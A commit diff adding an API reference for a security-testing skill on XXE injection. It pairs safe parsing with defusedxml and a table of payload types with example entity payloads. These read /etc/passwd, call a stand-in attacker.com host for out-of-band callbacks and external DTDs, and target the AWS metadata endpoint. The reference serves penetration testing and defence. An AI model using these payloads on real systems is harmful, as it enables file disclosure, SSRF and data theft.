Add folder anatomy (scripts/agent.py + references/api-reference.md) for 648 cybersecurity skills

Complete skill folder anatomy across all cybersecurity skills:
- scripts/agent.py: 80-150 line Python agents using real libraries (impacket,
  boto3, azure-mgmt-*, kubernetes, pefile, yara, scapy, shodan, stix2, etc.)
- references/api-reference.md: real API documentation with method signatures
- LICENSE: MIT license for all skill folders

skills/testing-for-xxe-injection-vulnerabilities/references/api-reference.md

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+# API Reference: Testing for XXE Injection Vulnerabilities
+
+## defusedxml Library (Safe Parsing)
+
+### Installation
+```bash
+pip install defusedxml
+```
+
+### Safe Parsing
+```python
+import defusedxml.ElementTree as ET
+# Blocks external entities, DTD processing, entity expansion
+tree = ET.fromstring(xml_string)
+```
+
+Protections enabled by default:
+- `forbid_dtd`: Blocks DOCTYPE declarations
+- `forbid_entities`: Blocks entity definitions
+- `forbid_external`: Blocks SYSTEM/PUBLIC entities
+
+## requests Library (XXE Testing)
+
+### Sending XML Payloads
+```python
+headers = {"Content-Type": "application/xml"}
+resp = requests.post(url, headers=headers, data=xxe_payload)
+```
+
+## XXE Payload Types
+| Type | Description | Detection |
+|------|-------------|-----------|
+| Classic (in-band) | Entity value in response | Check for file contents |
+| Blind (OOB HTTP) | Entity triggers HTTP callback | Monitor callback server |
+| Blind (OOB DNS) | Entity triggers DNS lookup | Monitor DNS server |
+| Parameter entity | Uses `%entity;` in DTD | Check callback server |
+| PHP filter | Base64 encodes file content | Decode base64 in response |
+| SSRF via XXE | Access internal URLs | Check for metadata/internal data |
+
+## XXE Entity Syntax
+```xml
+<!-- Internal entity -->
+<!ENTITY name "value">
+
+<!-- External entity (file read) -->
+<!ENTITY xxe SYSTEM "file:///etc/passwd">
+
+<!-- External entity (HTTP) -->
+<!ENTITY xxe SYSTEM "http://attacker.com/callback">
+
+<!-- Parameter entity (used in DTD) -->
+<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
+%xxe;
+```
+
+## File Paths for Testing
+| OS | File | Content Indicator |
+|----|------|-------------------|
+| Linux | `/etc/passwd` | `root:x:0:0` |
+| Linux | `/etc/hostname` | hostname string |
+| Windows | `c:/windows/win.ini` | `[fonts]` |
+| AWS | `http://169.254.169.254/latest/meta-data/` | `ami-id` |
+
+## References
+- defusedxml: https://github.com/tiran/defusedxml
+- OWASP XXE Prevention: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
+- PortSwigger XXE: https://portswigger.net/web-security/xxe
+- PayloadsAllTheThings XXE: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection